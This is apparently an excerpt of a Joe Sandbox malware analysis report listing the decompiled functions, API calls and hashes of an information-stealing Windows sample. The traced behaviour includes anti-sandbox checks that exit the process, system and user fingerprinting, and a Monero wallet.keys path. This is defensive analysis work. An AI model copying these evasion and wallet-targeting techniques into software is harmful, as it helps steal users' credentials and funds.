Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: e441679ccbfcdf54b2c08c9eafcff5e0371b3efd0125a1bf3969f03f0857d80f
Instruction ID: 5a2a0d8cf624b58e3916b473f6e6871f198854a4adaedb5e4f732de3c0c507a0
Opcode Fuzzy Hash: e441679ccbfcdf54b2c08c9eafcff5e0371b3efd0125a1bf3969f03f0857d80f
Instruction Fuzzy Hash: 05210A71A102189BEB64DB54DC84FE9B3B8FB48700F00C5E9A649A7280DF716A85CFD4

Function 01007690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 010076A4
RtlAllocateHeap.NTDLL(00000000), ref: 010076AB
RegOpenKeyExA.KERNEL32(80000002,0086C4C8,00000000,00020119,00000000), ref: 010076DD
RegQueryValueExA.KERNEL32(00000000,0087F108,00000000,00000000,?,000000FF), ref: 010076FE
RegCloseKey.ADVAPI32(00000000), ref: 01007708

Strings

Windows 11, xrefs: 010076BD

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: c4697080fa8afc87dd1e802cdfeb47c80ef2fb8fc63cdf6df6118d079d176713
Instruction ID: 9422f9ff86771607a50d68dc9e78a26e5c05369905961f7145a8417f863d8390
Opcode Fuzzy Hash: c4697080fa8afc87dd1e802cdfeb47c80ef2fb8fc63cdf6df6118d079d176713
Instruction Fuzzy Hash: 1F014FB5A00208BBE711DBE4EC4DFADB7B8EB48701F0040A8FB85D72C4D674A9048B50

Function 01007720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 01007734
RtlAllocateHeap.NTDLL(00000000), ref: 0100773B
RegOpenKeyExA.KERNEL32(80000002,0086C4C8,00000000,00020119,010076B9), ref: 0100775B
RegQueryValueExA.KERNEL32(010076B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0100777A
RegCloseKey.ADVAPI32(010076B9), ref: 01007784

Strings

CurrentBuildNumber, xrefs: 01007771

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 006a5fd4a4e48b0fff71151b28b2eb9399afcc3df677d91a4205d43e850d35b6
Instruction ID: 9c2f1ceb2be14d52e05f7e1d88931ac7edfa4ce094b066dedb090f90778df5d9
Opcode Fuzzy Hash: 006a5fd4a4e48b0fff71151b28b2eb9399afcc3df677d91a4205d43e850d35b6
Instruction Fuzzy Hash: 810167B5A40308BBE710DBE4EC4DFAEB7B8FB48700F004159FA45E7285D6745500CB51

Function 010040B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 010040D5
RegOpenKeyExA.KERNEL32(80000001,0087EDF0,00000000,00020119,?), ref: 010040F4
RegQueryValueExA.ADVAPI32(?,0087FA50,00000000,00000000,00000000,000000FF), ref: 01004118
RegCloseKey.ADVAPI32(?), ref: 01004122
lstrcat.KERNEL32(?,00000000), ref: 01004147
lstrcat.KERNEL32(?,0087F8D0), ref: 0100415B

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 0168c4cbbd2b598621f756826369015eb2595674d140aefb16c51c04429ad272
Instruction ID: 400fc4070f039bd047150ac5e43d82d097f4e0ad7b8bdcf8bb9a531195f6069c
Opcode Fuzzy Hash: 0168c4cbbd2b598621f756826369015eb2595674d140aefb16c51c04429ad272
Instruction Fuzzy Hash: 5941DAB6D00108ABDB25EBA0EC4AFFE733DBB58300F444558A755971C4EA759A888B91

Function 010069F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 01009860: GetProcAddress.KERNEL32(75900000,00874888), ref: 010098A1
Part of subcall function 01009860: GetProcAddress.KERNEL32(75900000,00874750), ref: 010098BA
Part of subcall function 01009860: GetProcAddress.KERNEL32(75900000,008746D8), ref: 010098D2
Part of subcall function 01009860: GetProcAddress.KERNEL32(75900000,00874768), ref: 010098EA
Part of subcall function 01009860: GetProcAddress.KERNEL32(75900000,008746F0), ref: 01009903
Part of subcall function 01009860: GetProcAddress.KERNEL32(75900000,0087A600), ref: 0100991B
Part of subcall function 01009860: GetProcAddress.KERNEL32(75900000,00864E60), ref: 01009933
Part of subcall function 01009860: GetProcAddress.KERNEL32(75900000,00864DC0), ref: 0100994C
Part of subcall function 01009860: GetProcAddress.KERNEL32(75900000,00874720), ref: 01009964
Part of subcall function 01009860: GetProcAddress.KERNEL32(75900000,00874708), ref: 0100997C
Part of subcall function 01009860: GetProcAddress.KERNEL32(75900000,00874738), ref: 01009995
Part of subcall function 01009860: GetProcAddress.KERNEL32(75900000,008747C8), ref: 010099AD
Part of subcall function 01009860: GetProcAddress.KERNEL32(75900000,00865080), ref: 010099C5
Part of subcall function 01009860: GetProcAddress.KERNEL32(75900000,00874780), ref: 010099DE

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 00FF11D0: ExitProcess.KERNEL32 ref: 00FF1211

Part of subcall function 00FF1160: GetSystemInfo.KERNEL32(?), ref: 00FF116A
Part of subcall function 00FF1160: ExitProcess.KERNEL32 ref: 00FF117E

Part of subcall function 00FF1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00FF112B
Part of subcall function 00FF1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00FF1132
Part of subcall function 00FF1110: ExitProcess.KERNEL32 ref: 00FF1143

Part of subcall function 00FF1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00FF123E
Part of subcall function 00FF1220: __aulldiv.LIBCMT ref: 00FF1258
Part of subcall function 00FF1220: __aulldiv.LIBCMT ref: 00FF1266
Part of subcall function 00FF1220: ExitProcess.KERNEL32 ref: 00FF1294

Part of subcall function 01006770: GetUserDefaultLangID.KERNEL32 ref: 01006774

Part of subcall function 00FF1190: ExitProcess.KERNEL32 ref: 00FF11C6

Part of subcall function 01007850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FF11B7), ref: 01007880
Part of subcall function 01007850: RtlAllocateHeap.NTDLL(00000000), ref: 01007887
Part of subcall function 01007850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0100789F

Part of subcall function 010078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 01007910
Part of subcall function 010078E0: RtlAllocateHeap.NTDLL(00000000), ref: 01007917
Part of subcall function 010078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0100792F

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,0087A6D0,?,0101110C,?,00000000,?,01011110,?,00000000,01010AEF), ref: 01006ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 01006AE8
CloseHandle.KERNEL32(00000000), ref: 01006AF9
Sleep.KERNEL32(00001770), ref: 01006B04
CloseHandle.KERNEL32(?,00000000,?,0087A6D0,?,0101110C,?,00000000,?,01011110,?,00000000,01010AEF), ref: 01006B1A
ExitProcess.KERNEL32 ref: 01006B22

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 02a1563233bcc2db96131f53dbd8b2ab7e563c40d899da65d6bdd4ff542614ad
Instruction ID: 91b2ad29e205da2f473b65f1bbd00e984e479a70747d94d2808d4a5299ec686e
Opcode Fuzzy Hash: 02a1563233bcc2db96131f53dbd8b2ab7e563c40d899da65d6bdd4ff542614ad
Instruction Fuzzy Hash: E6310D71A1020AEAFB06FBF0EC55BEE7779AF24300F004528E282A71D0DF756645CBA1

Function 00FF99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FF99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FF9A11
LocalAlloc.KERNEL32(00000040,?), ref: 00FF9A31
ReadFile.KERNEL32(000000FF,?,00000000,00FF148F,00000000), ref: 00FF9A5A
LocalFree.KERNEL32(00FF148F), ref: 00FF9A90
CloseHandle.KERNEL32(000000FF), ref: 00FF9A9A

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 5387ae745010a2fcc55516c6200f1032a0b75d5e28a66e2ba0a8d2afa8164428
Instruction ID: d0803c5f1202ec73f86bee49c2a8025725623b556adef414c12d3b8603394de6
Opcode Fuzzy Hash: 5387ae745010a2fcc55516c6200f1032a0b75d5e28a66e2ba0a8d2afa8164428
Instruction Fuzzy Hash: 8131E9B4E0020DEFDB24CF94D989BAE77B5FF48350F108158E912A7294D778AA41DFA1

Function 01004780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0087F3E0), ref: 010047DB

Part of subcall function 01008DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01008E0B

lstrcat.KERNEL32(?,00000000), ref: 01004801
lstrcat.KERNEL32(?,?), ref: 01004820
lstrcat.KERNEL32(?,?), ref: 01004834
lstrcat.KERNEL32(?,0086B750), ref: 01004847
lstrcat.KERNEL32(?,?), ref: 0100485B
lstrcat.KERNEL32(?,0087EC90), ref: 0100486F

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 01008D90: GetFileAttributesA.KERNEL32(00000000,?,00FF1B54,?,?,0101564C,?,?,01010E1F), ref: 01008D9F

Part of subcall function 01004570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 01004580
Part of subcall function 01004570: RtlAllocateHeap.NTDLL(00000000), ref: 01004587
Part of subcall function 01004570: wsprintfA.USER32 ref: 010045A6
Part of subcall function 01004570: FindFirstFileA.KERNEL32(?,?), ref: 010045BD

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 73abd6e6004df92d70be4abe9a80e5efe91e706a7577e1aed147cef32039958d
Instruction ID: 030347999cd37539847f30052e62e7525b47f3ba6de0461af9bc21eca7708825
Opcode Fuzzy Hash: 73abd6e6004df92d70be4abe9a80e5efe91e706a7577e1aed147cef32039958d
Instruction Fuzzy Hash: 84317FB2D00218A7DB21FBB0DC88EE9737CBB68700F444599A39997080EA74D7898B95

Function 00FF1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00FF123E
__aulldiv.LIBCMT ref: 00FF1258
__aulldiv.LIBCMT ref: 00FF1266
ExitProcess.KERNEL32 ref: 00FF1294

Strings

@, xrefs: 00FF1233

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
